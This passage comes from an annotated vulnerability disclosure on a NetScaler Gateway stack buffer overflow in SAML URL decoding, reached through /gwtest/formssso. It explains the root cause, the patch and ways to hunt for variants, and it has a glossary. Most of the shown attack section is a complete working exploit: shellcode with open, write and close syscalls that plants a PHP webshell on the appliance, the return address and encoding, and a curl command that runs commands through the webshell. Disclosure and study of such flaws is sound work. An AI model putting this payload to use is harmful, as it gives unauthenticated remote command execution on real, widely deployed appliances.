#2  0x000000000078245b in ns_aaa_cookie_valid ()
#3  0x00000000007923c3 in ns_aaa_client_handler ()
#4  0x0000000001e14f89 in nshttp_handler ()
#5  0x000000000113aa27 in nsssl_handlePkt ()
#6  0x00000000014e524d in ns_sslSendHTTPDataPkts ()
#7  0x00000000014e6d5e in ssl3_accept ()
#8  0x00000000014d34f5 in SSL_input ()
#9  0x000000000113a7cc in nsssl_handler ()
#10 0x000000000113a412 in nsssl_generic_handler ()
#11 0x0000000001e5aeb0 in nstcp_input ()
#12 0x0000000001e4bc5a in handleL4Session ()
#13 0x0000000001e48c21 in dispatch_tcp ()
#14 0x0000000001e41e6c in nic_rx_flush_pipeline ()
#15 0x0000000001e41c09 in vc_poll ()
#16 0x00000000015c858f in ns_netio ()
#17 0x00000000015c8422 in packet_engine ()
#18 0x0000000001a5ffb5 in ns_enter_main ()
#19 0x0000000001a643dd in main ()
#20 0x00000000004002db in _start ()

Line by line: the code block shows the shellcode instructions in place, with => at the ret. The backtrace now shows frame #0 as the shellcode itself, and frame #1 as ns_vpn_process_unauthenticated_request, followed by the same chain as the normal backtrace. In other words, the program is back on its normal path, as if nothing had happened. The exploit can be run again and again without taking the service down.

Step 5: Write a webshell

The approach chosen was to write a small webshell to a file and then call it with a separate request. A webshell is a small script placed on a web server that lets an attacker run commands through the browser. The payload was modified to start with the filename and file contents, and the return address updated to land after this point in the buffer:

Python
shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'

Line by line: the first line starts with an empty byte string. The second line adds the path where the file should be written, /var/vpn/theme/x.php, followed by a zero byte, which marks the end of the text. The third line adds the contents of the file: a tiny PHP script that takes the first parameter from the web address and runs it as a system command. PHP is a programming language commonly used for websites. The + signs are there because spaces in a URL are often written as plus signs. The zero byte again marks the end. The last three lines are the same cleanup instructions as before: adjust the stack, restore rbp, and return. The return address will need to point just after this data, so that execution lands on the cleanup code rather than on the filename.

When the buffer was examined, a null byte had been inserted midway through:

Text
gdb-peda$ x/3s 0x7fffffffc130
0x7fffffffc130: "/var/vpn/theme/x.php"
0x7fffffffc145: "<?php system"
0x7fffffffc152: "$_GET[0]); ?>"

Line by line: x/3s means examine three strings starting at the given address. The output shows the filename, then the PHP code, but split into three pieces. The reason is that a null byte has appeared in the middle of the PHP code, which the string display treats as the end of a string. The null byte was not in the original payload, so something in the URL decoding had inserted it. This is a problem because the file contents would be truncated at that point.

To fix this, padding was added, the last byte of which would be converted to a null byte:

Python
shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'AAAAAAAAAAAAA'                  # 13 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'

Line by line: the only change is the extra line of 13 A's between the filename and the PHP code. The idea is that the decoder will turn the last of these A's into the null byte that was appearing in the wrong place, so the PHP code itself stays intact. The rest of the payload is unchanged.

The first stage of the exploit makes the open syscall to get a file descriptor. A syscall is a request from a program to the operating system, asking it to do something on the program's behalf, like opening a file. A file descriptor is a small number the operating system hands back to identify the open file, like a ticket number at a cloakroom. NetScaler is based on FreeBSD, a variant of Unix, so the x64 System V ABI calling convention applies. An ABI is an agreed set of rules for how functions receive their arguments. Under this convention, the first three arguments go in rdi, rsi and rdx, the syscall number goes in rax, and the syscall instruction triggers it.

To begin, rsp is copied to rdi and 0xb0 subtracted so that it points to the start of /var/vpn/theme/x.php:

Python
shellcode += b'\x48\x89\xe7'                   # mov rdi, rsp
shellcode += b'\x48\x81\xef\xb0\x00\x00\x00'   # sub rdi, 0xb0

Line by line: mov rdi, rsp copies the stack pointer into rdi. At this moment the stack pointer points somewhere in the payload, and the filename is 0xb0 bytes before it. sub rdi, 0xb0 subtracts that amount, so rdi now points exactly at the start of the filename. This is the first argument to the open syscall: the path of the file to open.

Next the flags argument is set to O_CREAT | O_WRONLY to create the file and open it for writing. A gotcha when looking up these constants is to use the FreeBSD values rather than the Linux ones: on Linux O_CREAT is 0x100, but on FreeBSD it is 0x200.

Python
shellcode += b'\xbe\x01\x02\x00\x00'           # mov esi, 0x201

Line by line: mov esi, 0x201 puts the value 0x201 into the esi register, which is the lower half of rsi. The value 0x201 is 0x200 plus 0x1, which is O_CREAT plus O_WRONLY. O_CREAT means create the file if it does not exist. O_WRONLY means open it for writing only. Together they say: create this file and let me write to it.

For the final argument, the mode is set to 0x1ff, which corresponds to a 777 file mode:

Python
shellcode += b'\xba\xff\x01\x00\x00'           # mov edx, 0x1ff

Line by line: mov edx, 0x1ff puts 0x1ff into edx, the lower half of rdx. The mode is the set of permissions the new file gets. In Unix, permissions are often written as three digits, and 777 means everyone can read, write and execute the file. In octal, 777 is 0x1ff in hexadecimal. So this line makes the webshell accessible to anyone, which is what the attacker wants.

Lastly, rax is set to the open syscall number, which on FreeBSD is 5, and the syscall executed:

Python
shellcode += b'\xb8\x05\x00\x00\x00'           # mov eax, 0x5
shellcode += b'\x0f\x05'                       # syscall

Line by line: mov eax, 0x5 puts the number 5 into eax, the lower half of rax. On FreeBSD, syscall number 5 is open. The syscall instruction then hands control to the operating system, which performs the open and returns a file descriptor in rax.

Next is a write syscall. Since rax should hold the file descriptor returned from the open syscall, that is copied to rdi. The same rsp trick as before gets a pointer to the file contents into rsi, and the file size in bytes (0x1a) goes into rdx:

Python
shellcode += b'\x48\x89\xc7'                   # mov rdi, rax
shellcode += b'\x48\x89\xe6'                   # mov rsi, rsp
shellcode += b'\x48\x81\xee\x8e\x00\x00\x00'   # sub rsi, 0x8e
shellcode += b'\xba\x1a\x00\x00\x00'           # mov edx, 0x1a
shellcode += b'\xb8\x04\x00\x00\x00'           # mov eax, 0x4
shellcode += b'\x0f\x05'                       # syscall

Line by line: mov rdi, rax copies the file descriptor from rax into rdi, which is the first argument to write. mov rsi, rsp copies the stack pointer into rsi, and sub rsi, 0x8e subtracts 0x8e so that rsi points at the start of the PHP code. That is the second argument: the data to write. mov edx, 0x1a puts 0x1a, which is 26 in ordinary numbers, into rdx. That is the third argument: how many bytes to write. mov eax, 0x4 puts syscall number 4 into eax, which on FreeBSD is write. The syscall instruction performs the write, copying the PHP code into the file.

Next is a close syscall. The first and only argument is in rdi and is the file descriptor, unchanged from the previous call, so only the rax register needs setting before executing the syscall instruction:

Python
shellcode += b'\xb8\x06\x00\x00\x00'           # mov rax, 0x6
shellcode += b'\x0f\x05'                       # syscall

Line by line: mov rax, 0x6 puts syscall number 6 into rax, which on FreeBSD is close. The syscall instruction closes the file. Closing is good housekeeping: it tells the operating system the program is finished with the file, so the data is safely written to disk.

The full payload:

Python
shellcode  = b''
shellcode += b'/var/vpn/theme/x.php\x00'       # 21 bytes
shellcode += b'AAAAAAAAAAAAA'                  # 13 bytes
shellcode += b'<?php+system($_GET[0]);+?>\x00' # 27 bytes
# open syscall
shellcode += b'\x48\x89\xe7'                   # mov rdi, rsp
shellcode += b'\x48\x81\xef\xb0\x00\x00\x00'   # sub rdi, 0xb0
shellcode += b'\xbe\x01\x02\x00\x00'           # mov esi, 0x201
shellcode += b'\xba\xff\x01\x00\x00'           # mov edx, 0x1ff
shellcode += b'\xb8\x05\x00\x00\x00'           # mov eax, 0x5
shellcode += b'\x0f\x05'                       # syscall
# write syscall
shellcode += b'\x48\x89\xc7'                   # mov rdi, rax
shellcode += b'\x48\x89\xe6'                   # mov rsi, rsp
shellcode += b'\x48\x81\xee\x8e\x00\x00\x00'   # sub rsi, 0x8e
shellcode += b'\xba\x1a\x00\x00\x00'           # mov edx, 0x1a
shellcode += b'\xb8\x04\x00\x00\x00'           # mov eax, 0x4
shellcode += b'\x0f\x05'                       # syscall
# close syscall
shellcode += b'\xb8\x06\x00\x00\x00'           # mov rax, 0x6
shellcode += b'\x0f\x05'                       # syscall
# cleanup
shellcode += b'\x48\x83\xC4\x30'               # add rsp, 0x30
shellcode += b'\x5d'                           # pop rbp
shellcode += b'\xc3'                           # ret
shellcode_encoded = tweaked_url_encode(shellcode)
return_address = b'\x6d\xc1\xff\xff\xff\x7f\x00\x00'
return_address_encoded = tweaked_url_encode(return_address)
padding = b'A' * (168 - len(shellcode))
payload = shellcode_encoded + padding + return_address_encoded

Line by line: the first block is the data: the filename, the padding, and the PHP code. The next block is the open syscall, which creates the file. The next is the write syscall, which puts the PHP code into it. The next is the close syscall, which finishes the job. The cleanup block restores the stack and returns to the caller. Then tweaked_url_encode is applied to the shellcode and to the return address. The word tweaked is important: the standard URL encoder would encode every byte, but because of the decoding bug, only some bytes can be safely encoded. The function used here encodes only the bytes that need it. The return address is set to land after the data, where the cleanup code begins. The padding fills the buffer up to 168 bytes, and the final payload is the encoded shellcode, the padding, and the encoded return address.

After executing this, the webshell could be called as follows:

Bash
$ curl -kv 'https://[redacted]/vpn/theme/x.php?0=uname%20-a'
FreeBSD ns 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 2596b10c4(rs_131_48_41_RTM): Sat Jun  3 00:57:48 PDT 2023     root@sjc-bld-bsd114-232:/usr/obj/usr/home/build/adc/usr.src/sys/NS64  amd6

Line by line: curl -kv makes a request, with -k ignoring certificate warnings and -v showing verbose output. The address is the webshell that was just written, /vpn/theme/x.php, with a parameter 0 whose value is uname%20-a. uname -a is a standard Unix command that prints information about the operating system. The %20 is URL encoding for a space. The response shows the output of that command, which proves the webshell is running and can execute arbitrary commands on the appliance.

The response is cached by NetScaler. A cache is a store of recent answers kept so that the same request can be served faster next time. The only way found to clear the cache was a restart or also running /netscaler/nsapimgr_wr.sh -ys call=ns_ic_flush. More work would be required to make this work in one shot, but for proving exploitability this was all that was needed.

Root cause

The initial flaw is an unbounded copy: ns_aaa_saml_url_decode writes the decoded target value into a fixed stack buffer without checking its length. The patched version adds an iVar3 < 0x80 length check and passes the length into the decode function. The overflow is exacerbated by having no other mitigations. The stack was executable, so the processor would happily run data placed there. Address space was not randomised, so the attacker knew in advance where their data would land. There were no stack canaries, which are small guard values placed around the stack that detect tampering. And the Gateway application is bundled with the network stack rather than running in a separate, less privileged process. With no special configuration required and the popularity of the appliance, the vulnerability has had a huge impact.

Impact

On the demonstrated version, an unauthenticated attacker can reach /gwtest/formssso, overflow the stack buffer and achieve remote code execution in the nsppe process. Because nsppe handles all network traffic in and out of the appliance, a crash takes down the service, and the exploit described here can write a webshell to disk and execute arbitrary commands. The demonstration targets version 13.1-48.47; some tweaks are required for other versions.

Fix

The patch in 13.1-49.13 adds a length check (iVar3 < 0x80) before the decode and passes the length into ns_aaa_saml_url_decode. The patch also includes a fix for a separate memory corruption vulnerability in ns_aaa_saml_parse_authn_request, for which no CVE has been raised for the potential denial of service.

Variants to test

  1. Other unauthenticated URL prefixes. Walk the call graph from ns_vpn_process_unauthenticated_request and look for other handlers dispatched on URL prefixes, such as the /gwtest/ check. A positive result is a handler that reaches a decode or copy routine without a length check.
  2. Other query parameters passed to decoders. Look for strncmp checks on parameter names followed by a call into a decode function. A positive result is a parameter whose value reaches ns_aaa_saml_url_decode or a similar routine without a bound.
  3. URL decoding bugs for bytes above 0xa0. The report notes a bug in the URL decoding affecting bytes greater than 0xa0. A positive result is a byte that decodes differently from the expected value.
  4. Other versions of the appliance. The exploit is demonstrated on 13.1-48.47 and requires tweaks for other versions. A positive result is a version where the same endpoint and buffer layout produce a controllable return address.
  5. Cache behaviour after exploitation. The response from the webshell is cached, and the only ways found to clear it were a restart or /netscaler/nsapimgr_wr.sh -ys call=ns_ic_flush. A positive result is a way to make a one-shot exploit work without a restart.

Glossary

  • ABI: the agreed rules for how a program passes arguments to functions and syscalls, including which register holds which value.
  • Address space layout randomisation: a defence that loads programs and data at unpredictable addresses, so an attacker cannot know where to jump.
  • BinDiff: a tool that compares two compiled programs and highlights the functions that differ.
  • BinExport: an extension for Ghidra that exports a program in a format BinDiff can read.
  • Breakpoint: a marker placed on an instruction that pauses the program when it reaches it.
  • Buffer: a fixed-size area of memory set aside to hold data.
  • Buffer overflow: writing more data into a buffer than it can hold, so the extra spills into nearby memory.
  • Cache: a store of recent answers kept so the same request can be served faster next time.
  • Call graph: a map of which functions call which other functions.
  • CVE: a public identifier for a known vulnerability.
  • Debugger: a tool that lets you pause a running program, inspect its memory, and step through it instruction by instruction.
  • Denial of service: making a service unavailable, for example by crashing it.
  • Decompilation: turning a compiled program back into something resembling source code.
  • Executable stack: a stack that the processor is allowed to run as code, which makes overflow attacks easier.
  • File descriptor: a small number the operating system uses to identify an open file.
  • FreeBSD: a variant of Unix, the operating system NetScaler is based on.
  • Function: a named block of code that does one job.
  • GDB: the standard debugger on Unix-like systems.
  • GDBServer: a helper that lets a debugger on one machine control a program on another.
  • Ghidra: a free decompiler made by the US National Security Agency.
  • Handler: the piece of code that decides what to do with an incoming request.
  • Hexadecimal: a way of writing numbers using sixteen digits, 0 to 9 and A to F, often used to show memory values.
  • Length check: code that asks how much data there is before copying it, and refuses if it is too much.
  • Memory corruption: when a program writes data where it should not, damaging other data nearby.
  • NetScaler Packet Processing Engine (nsppe): the program that handles all network traffic in and out of the appliance.
  • Nop: a machine instruction that does nothing and moves on to the next one.
  • Parameter: a named value passed in a web address after the question mark.
  • PEDA: an add-on for GDB that makes it friendlier to use.
  • PHP: a programming language commonly used for websites.
  • Pitboss: a watchdog program that restarts nsppe if it stops responding.
  • Query string: the part of a web address after the question mark, containing parameters.
  • Red herring: a false lead that looks promising but is not the answer.
  • Register: a small, very fast storage slot inside the processor.
  • Remote code execution: an attacker getting a computer to run their own commands without having an account.
  • Return address: the instruction a function jumps back to when it finishes.
  • SAML: a standard way for login systems to exchange identity information.
  • Shellcode: a small piece of code an attacker wants to run as part of an exploit.
  • Stack: the area of memory where a program keeps track of where to return to after each function call.
  • Stack canary: a small guard value placed around the stack that detects tampering.
  • Syscall: a request from a program to the operating system to do something on its behalf.
  • TCP: the protocol underneath most web traffic.
  • URL: the address of something on the web.
  • URL decoding: turning encoded characters in a web address back into their real form.
  • URL encoding: writing awkward characters as a percent sign followed by two hex digits so they survive in a web address.
  • Virtual machine (VM): a whole computer simulated inside another computer.
  • Watchdog: a small program whose job is to check that another program is alive and restart it if not.
  • Webshell: a small script placed on a web server that lets an attacker run commands through the browser.
  • x64 System V ABI: the calling convention used on 64-bit Unix-like systems, including FreeBSD.

More by Dylan Pindur

View all

8 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.